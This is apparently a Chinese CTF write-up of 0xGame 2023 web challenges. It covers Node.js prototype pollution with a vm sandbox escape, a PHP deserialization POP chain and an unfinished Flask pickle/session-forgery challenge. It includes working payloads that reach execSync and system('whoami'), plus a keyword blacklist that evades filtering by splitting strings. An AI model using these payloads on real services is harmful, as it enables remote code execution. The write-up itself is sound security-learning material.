0xGame_2023_web

0xGame_2023_web_wp

0xGame的web题目质量很高,所以做一做比较有意思的题目,复现一下。

week2

sandbox

将沙盒和原型链污染结合在一起的一道js

给了源代码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
secret: crypto.randomBytes(64).toString('hex'),
resave: false,
saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) {
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(source) {
return merge({}, source)
}

function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}

function requireLogin(req, res, next) {
if (!req.session.user) {
res.redirect('/login')
} else {
next()
}
}

app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})

app.get('/', requireLogin, function(req, res) {
res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
let { username, password } = clone(req.body)

if (username in users && password === users[username]) {
req.session.user = username

if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}

res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})

app.post('/register', function(req, res) {
let { username, password } = clone(req.body)

if (username in users) {
res.send({
'message': 'register failed'
})
} else {
users[username] = password
res.send({
'message': 'register success'
})
}
})

app.get('/profile', requireLogin, function(req, res) {
res.send({
'user': req.session.user,
'role': req.session.role
})
})

app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)

try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})

app.get('/logout', requireLogin, function(req, res) {
req.session.destroy()
res.redirect('/login')
})

app.listen(3000, function() {
console.log('server start listening on :3000')
})

很显然,在登陆的时候我们需要污染一下admin的值,让我们的账户在其中,使得session中的role设置为admin进入沙盒,为什么是登录的时候污染呢?

这里有一个小tip:

__proto__可以污染已经存在的值,而__constructor__.__prototype__只能污染不存在的值?

当然在这里都一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login HTTP/1.1
Host: 192.168.18.129:50024
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 95
Origin: http://192.168.18.129:50024
Connection: close
Referer: http://192.168.18.129:50024/login

{"username":"Lazy_fish","password":"admin",
"constructor":{"prototype":{"Lazy_fish":"admin"}}}

我们相当于执行了。

然后直接登录

然后是一些waf和沙箱逃逸

1
2
3
4
5
6
7
let obj = {} 
obj.__defineGetter__('message', function(){
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('whoami').toString();
})
throw obj

实现RCE,得到flag

ez_unserialize

这个也是一个挺有意思的反序列化,用到了php的引用。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 <?php

show_source(__FILE__);

class Cache {
public $key;
public $value;
public $expired;
public $helper;

public function __construct($key, $value, $helper) {
$this->key = $key;
$this->value = $value;
$this->helper = $helper;

$this->expired = False;
}

public function __wakeup() {
$this->expired = False;
}

public function expired() {
if ($this->expired) {
$this->helper->clean($this->key);
return True;
} else {
return False;
}
}
}

class Storage {
public $store;

public function __construct() {
$this->store = array();
}

public function __set($name, $value) {
if (!$this->store) {
$this->store = array();
}

if (!$value->expired()) {
$this->store[$name] = $value;
}
}

public function __get($name) {
return $this->data[$name];
}
}

class Helper {
public $funcs;

public function __construct($funcs) {
$this->funcs = $funcs;
}

public function __call($name, $args) {
$this->funcs[$name](...$args);
}
}

class DataObject {
public $storage;
public $data;

public function __destruct() {
foreach ($this->data as $key => $value) {
$this->storage->$key = $value;
}
}
}

if (isset($_GET['u'])) {
unserialize($_GET['u']);
}
?>

大概的pop链子就是

DataObject::__destruct() -> Storage::__set() -> Cache.expired() -> helper::__call();

通过设置引用,让expired()的值不为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Cache {
public $key;
public $value;
public $expired;
public $helper;
}
class Storage {
public $store;
}
class Helper {
public $funcs;
}
class DataObject {
public $storage;
public $data;
}
$helper = new Helper();
$helper->funcs = array('clean' => 'system');
$cache1 = new Cache();
$cache1->expired = False;
$cache2 = new Cache();
$cache2->helper = $helper;
$cache2->key = 'whoami';
$storage = new Storage();
$storage->store = &$cache2->expired;
$dataObject = new DataObject();
$dataObject->data = array('key1' => $cache1, 'key2' => $cache2);
$dataObject->storage = $storage;
echo serialize($dataObject);
?>

首先,我们创建了一个名为 dataObject 的对象,并在其 data 属性中放入了两个 Cache 实例:cache1cache2。其中,cache2 指定了一个 helper,并将其 key 设置为要执行的命令 whoamihelperfuncs 数组中包含了一个字符串 “system”。

接下来,我们将 storagestore 属性设置为 cache2expired 属性的引用。这样,在反序列化时,首先会调用两个 Cache 实例的 __wakeup 方法,将它们各自的 expired 设置为 False

然后,调用 dataObject__destruct 方法,进而调用 Storage__set 方法。Storage 首先将 store(即 cache1expired 属性)初始化为空数组,然后将 cache1 存入其中。

此时,store 不为空,意味着 cache1expired 属性不为空。接下来执行 cache2 的部分。Storage__set 方法调用了 cache2expired 方法,并进入了 if 判断。

由于此时 cache2expired 字段(即上述的 store)已被设置为一个数组,并且数组中存在 cache1(非空),因此 if 表达式的结果为 True

最后,进入 helperclean 方法,执行了 system('whoami'),实现了RCE。

week3

notebook

有下面的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
def __init__(self, name, content):
self._name = name
self._content = content

@property
def name(self):
return self._name

@property
def content(self):
return self._content


@app.route('/')
def index():
return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')

note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')

note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
note_name = request.form.get('note_name')
note_content = request.form.get('note_content')

if note_name == '' or note_content == '':
return render_template('index.html', status='add_failed', msg='note name or content is empty')

note_id = str(uuid.uuid4())
note = Note(note_name, note_content)

if not session.get('notes'):
session['notes'] = {}

notes = session['notes']
notes[note_id] = pickle.dumps(note)
session['notes'] = notes
return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
note_id = request.form.get('note_id')
if not note_id:
return render_template('index.html')

notes = session.get('notes')
if not notes:
return render_template('index.html', status='delete_failed', msg='You have no notes')

if not notes.get(note_id):
return render_template('index.html', status='delete_failed', msg='This note does not exist')

del notes[note_id]
session['notes'] = notes
return render_template('index.html', status='delete_success')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

看到关键代码

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')

note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')

note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)

其中的pickle.loads可以反序列化进行RCE,为了让note_raw可控,可以进行session的伪造。

得到Cookie的样式,一眼flask的session

  • 之后完成